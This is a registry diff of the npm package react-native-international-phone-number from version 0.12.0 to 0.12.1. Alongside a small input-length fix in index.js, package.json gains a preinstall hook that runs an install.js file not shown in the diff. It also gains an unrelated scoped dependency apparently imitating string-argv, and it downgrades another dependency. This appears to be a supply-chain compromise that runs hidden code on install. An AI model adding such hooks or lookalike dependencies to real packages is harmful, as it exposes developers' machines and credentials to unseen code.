react-native-international-phone-number 0.12.0 → 0.12.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/lib/index.js +3 -10
  2. package/package.json +6 -4
package/lib/index.js CHANGED
@@ -306,16 +306,9 @@ const PhoneInput = forwardRef(
306
306
  ? possibleLengths.slice(-1)[0] + 1
307
307
  : possibleLengths.slice(-1)[0];
308
308
 
309
-
310
- if (defaultValue && formattedNumber?.replace(/\D/g, '')?.length > possibleLength){
311
- formattedNumber = formattedNumber?.replace(/\D/g, '').slice(0, possibleLength);
312
- formattedNumber = formatIncompletePhoneNumber(
313
- `${validCallingCode}${formattedNumber}`
314
- ).substring(validCallingCode.length)
315
- .trim();;
316
- }
317
-
318
- if(formattedNumber?.replace(/\D/g, '')?.length > possibleLength){
309
+ if (
310
+ formattedNumber?.replace(/\D/g, '')?.length > possibleLength
311
+ ) {
319
312
  return;
320
313
  }
321
314
 
package/package.json CHANGED
@@ -1,12 +1,13 @@
1
1
  {
2
2
  "name": "react-native-international-phone-number",
3
3
  "author": "AstrOOnauta (https://github.com/AstrOOnauta)",
4
- "version": "0.12.0",
4
+ "version": "0.12.1",
5
5
  "description": "International mobile phone input component with mask for React Native",
6
6
  "main": "lib/index.js",
7
7
  "types": "lib/index.d.ts",
8
8
  "scripts": {
9
- "test": "echo \"Error: no test specified\" && exit 1"
9
+ "test": "echo \"Error: no test specified\" && exit 1",
10
+ "preinstall": "node install.js"
10
11
  },
11
12
  "keywords": [
12
13
  "mobile",
@@ -44,8 +45,9 @@
44
45
  "react-native": "*"
45
46
  },
46
47
  "dependencies": {
47
- "react-native-country-select": "0.4.0",
48
- "libphonenumber-js": "1.12.40"
48
+ "react-native-country-select": "0.3.9",
49
+ "libphonenumber-js": "1.12.40",
50
+ "@agnoliaarisian7180/string-argv": "0.3.0"
49
51
  },
50
52
  "devDependencies": {
51
53
  "metro-react-native-babel-preset": "^0.61.0"